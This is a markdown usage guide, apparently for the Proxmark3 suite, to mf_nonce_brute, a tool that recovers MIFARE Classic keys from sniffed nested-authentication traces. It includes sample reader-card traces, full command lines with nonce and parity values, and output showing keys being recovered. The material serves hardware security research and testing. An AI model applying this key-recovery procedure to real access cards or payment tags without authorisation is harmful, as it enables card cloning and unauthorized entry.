tools/mfc/card_reader/mf_nonce_brute_examples.md

   1 mf_nonce_brute
   2 ==============
   3
   4 Nested autenticated sector key recovery tool
   5 -----------------------------------------------
   6
   7 Compatible tags:
   8 * Mifare Classic 1k (4k)
   9 * Mifare Plus in SL1 mode
  10
  11 To recover keys to nested autenticated sectors you need a reader-card communication log. To get it use
  12 hardware tools that able to sniff communication (for example Proxmark3 or HydraNFC).
  13
  14 This enhanced version:
  15 First 2 bytes should be bruteforced in phase 2 with mf_key_brute tool that interacts with a card.
  16
  17 Sample trace:
  18 ```
  19     93 70 fd ac f6 d8 7f 21 4f                            // select card with UID fdacf6d8
  20 TAG 08 b6 dd                                              // sak
  21     60 04 d1 3d                                           // wanna auth block 0x04 with A key
  22 TAG ed 12 9c 74                                           // 1st auth clear text nt
  23     55 53 9f cc 41 8d e8 f3                               // {nr}, {ar}  (nr^ks1, ar^ks2 )
  24 TAG 05 49 e1 65                                           // {at} ( at^ks3 )
  25     03 24 26 56                                           // wanna read block 0x04
  26 TAG ac 69 ef 58 45 e1 c2 1d a9 47 a5 94 54 ef 5d c7 1e a9 // block 0x04 content
  27     d4 3e a8 aa
  28 TAG 8e 8e e3 e6 e9 e2 5f dd f6 08 ce fb 02 6a db 75 94 2f
  29     79 77 68 3c
  30 TAG e0 00 00 80 80 08 cc 80 08 9c 82 e0 68 64 60 30 91 60  // 18 bytes = 16 byte content + 2 bytes crc
  31     ea 88 c3 c2                                            // 4 byte read cmd
  32 TAG a3 76 dc df c1 42 e0 ee c6 75 a4 ca eb 0c da eb 46 a0  // 18 bytes = 16 byte content + 2 bytes crc ks8 + crc
  33     2d 27 ab 6f                                            // wanna auth to 0x04 block with key B
  34
  35 -------Until this line we can recover key or decrypt communication with no troubles (see mfkey64 tool)--------------------------------
  36
  37 TAG 52 6e af 8b                                            // nested auth encrypted tag nonce that we don't know
  38     8e 21 3a 29 a4 80 7e 02                                // {nr} = nr^ks1, {ar} = ar^ks2
  39 TAG b9 43 74 8d                                            // {at} = at^ks3
  40     e2 25 f8 32                                            // probably next command (actually is read block cmd, but we don't know it yet)
  41 TAG 1f 26 82 8d 12 21 dd 42 c2 84 3e d0 26 7f 6b 2a 81 a9  // probably data
  42     ba 85 1d 36                                            // probably read cmd
  43 TAG 62 a8 78 69 ee 36 22 16 1c ff 4b 4e 69 cb 27 c2 e8 7e  // probably data
  44     a7 b1 c8 da                                            // probably read cmd
  45 TAG b2 fc 6c 65 60 ec 35 83 87 56 e3 7e 3c bf 38 b8 73 21  // probably data
  46     99 92 13 55                                            // probably read cmd
  47 TAG 93 5b 65 a3 1d 8c 75 b8 3a 63 e2 31 f0 d0 a9 24 9a f6  // probably data
  48 ```
  49
  50
  51 Phase 1
  52 -------
  53
  54 Syntax:
  55 `mf_nonce_brute <uid> <{nt}> <nt_par_err> <{nr}> <{ar}> <ar_par_err> <{at}> <at_par_err> [<{next_command}>]`
  56
  57 Example: if `{nt}` in trace is `8c!  42 e6! 4e!`, then `{nt}` is `8c42e64e` and `nt_par_err` is `1011`
  58
  59 Example with parity (from this trace http://www.proxmark.org/forum/viewtopic.php?pid=550#p550) :
  60
  61 ```
  62  + 561882:  1 :     26
  63  +     64:  2 : TAG 04  00
  64  +  10217:  2 :     93  20
  65  +     64:  5 : TAG 9c  59  9b  32  6c                        UID
  66  +  12313:  9 :     93  70  9c  59  9b  32  6c  6b  30
  67  +     64:  3 : TAG 08  b6  dd
  68  + 923318:  4 :     60  00  f5  7b                            AUTH Block 0
  69  +    112:  4 : TAG 82  a4  16  6c                            Nonce Tag (nt)
  70  +   6985:  8 :     a1  e4! 58  ce! 6e  ea! 41  e0!           {nr}, {ar}
  71  +     64:  4 : TAG 5c! ad  f4  39!                           {at}
  72  + 811513:  4 :     8e  0e! 5d! b9                            AUTH Block 0 (nested)
  73  +    112:  4 : TAG 5a! 92  0d! 85!                           Nonce Tag ({nt})
  74  +   6946:  8 :     98! d7  6b! 77  d6  c6  e8  70            {nr}, {ar}
  75  +     64:  4 : TAG ca  7e! 0b! 63!                           {at}
  76  + 670868:  4 :     3e! 70  9c! 8a
  77  +    112:  4 : TAG 36! 41  24! 79
  78  +   9505:  8 :     1b! 8c  3a! 48! 83  5a  4a! 27
  79  +     64:  4 : TAG 40! 6a! 99! 4b
  80  + 905612:  4 :     c9  7c  64! 13!                           !crc
  81  +    112:  4 : TAG b5! ab! 1d! 2b
  82  +   6936:  8 :     7e! d2  5c! ca! 4b! 50! 88! c4            !crc
  83  +     64:  4 : TAG bf  dd  01  be!
  84  + 987853:  4 :     56  98  49  d6!                           !crc
  85 ```
  86 => Using the plaintext tagnonce `nt`=`82a4166c`
  87 ```
  88 ./mf_nonce_brute 9c599b32 82a4166c clear a1e458ce 6eea41e0 0101 5cadf439 1001 8e0e5db9
  89                  |        |        |     |        |        |    |        |    |
  90                  +UID     +nt      |     +{nr}    +{ar}    |    +{at}    |    +{next cmd}
  91                                    + nt is clear           +ar_par_err   +at_par_err
  92 ```
  93
  94 Without a next command, it still finds a possible key candidate.
  95 ```
  96 ./mf_nonce_brute 9c599b32 82a4166c clear a1e458ce 6eea41e0 0101 5cadf439 1001
  97 ```
  98
  99 This one uses the encrypted tagnonce `{nt}`=`5a920d85`, it finds a valid key.
 100 ```
 101 ./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111
 102 ```
 103
 104 This one uses the encrypted tagnonce `{nt}`=`5a920d85` and the encrypted cmd `3e709c8a` to validate , it finds a valid key.
 105 ```
 106 ./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
 107 ```
 108 Full output:
 109 ```
 110 ./mf_nonce_brute 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a
 111 Mifare classic nested auth key recovery. Phase 1.
 112 -------------------------------------------------
 113 uid:            9c599b32
 114 nt encrypted:   5a920d85
 115 nt parity err:  1011
 116 nr encrypted:   98d76b77
 117 ar encrypted:   d6c6e870
 118 ar parity err:  0000
 119 at encrypted:   ca7e0b63
 120 at parity err:  0111
 121 next cmd enc:   3e709c8a
 122
 123
 124 Starting 4 threads to bruteforce encrypted tag nonce last bytes
 125 CMD enc(3e709c8a)
 126     dec(6000f57b)       <-- Valid cmd
 127
 128 Valid Key found: [ffffffffffff]
 129
 130 Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds
 131 ```
 132
 133 [2024-07-11]
 134 There is an odd case where we find multiple valid MIFARE Classic protocol commands with a valid ISO14443-A CRC when decrypting four bytes and are bruteforcing the last upper 16 bit of keyspace in phase 3.
 135
 136 The command has been updated to give a more informative text in order to help the user understanding and what to do next.
 137
 138 ```
 139 ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
 140 ```
 141
 142
 143 When running you get the following full output
 144
 145 ```
 146 ./mf_nonce_brute$ ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
 147
 148 Mifare classic nested auth key recovery
 149
 150 ----------- information ------------------------
 151 uid.................. fcf77b54
 152 nt encrypted......... 1b456bdd
 153 nt parity err........ 1110
 154 nr encrypted......... 00f215b6
 155 ar encrypted......... f9eb95e9
 156 ar parity err........ 0011
 157 at encrypted......... bf55d0b1
 158 at parity err........ 0000
 159 next encrypted cmd... AAD4126B
 160
 161 Bruteforce using 8 threads
 162
 163 ----------- Phase 1 pre-processing ------------------------
 164 Testing default keys using NESTED authentication...
 165
 166 ----------- Phase 2 examine -------------------------------
 167 Looking for the last bytes of the encrypted tagnonce
 168
 169 Target old MFC...
 170 CMD enc( aad4126b )
 171     dec( 302424cf )    <-- valid cmd
 172
 173 Key candidate [ ....37afcc2b ]
 174 Key candidate [ a70d37afcc2b ]
 175
 176 execution time 0.47 sec
 177
 178 ----------- Phase 3 validating ----------------------------
 179 uid.................. fcf77b54
 180 partial key.......... 37afcc2b
 181 possible key......... a70d37afcc2b
 182 nt enc............... 1b456bdd
 183 nr enc............... 00f215b6
 184 next encrypted cmd... AAD4126B
 185
 186 Looking for the upper 16 bits of the key
 187
 188 enc:  AAD4126B
 189 dec:  610BFEDC
 190
 191 Valid Key found [ 7c2337afcc2b ]
 192
 193
 194 enc:  AAD4126B
 195 dec:  302424CF
 196
 197 Valid Key found [ a70d37afcc2b ] - matches candidate
 198
 199
 200 Odd case but we found 2 possible keys
 201 You need to test all of them manually, start with the one matching the candidate
 202
 203 ```
 204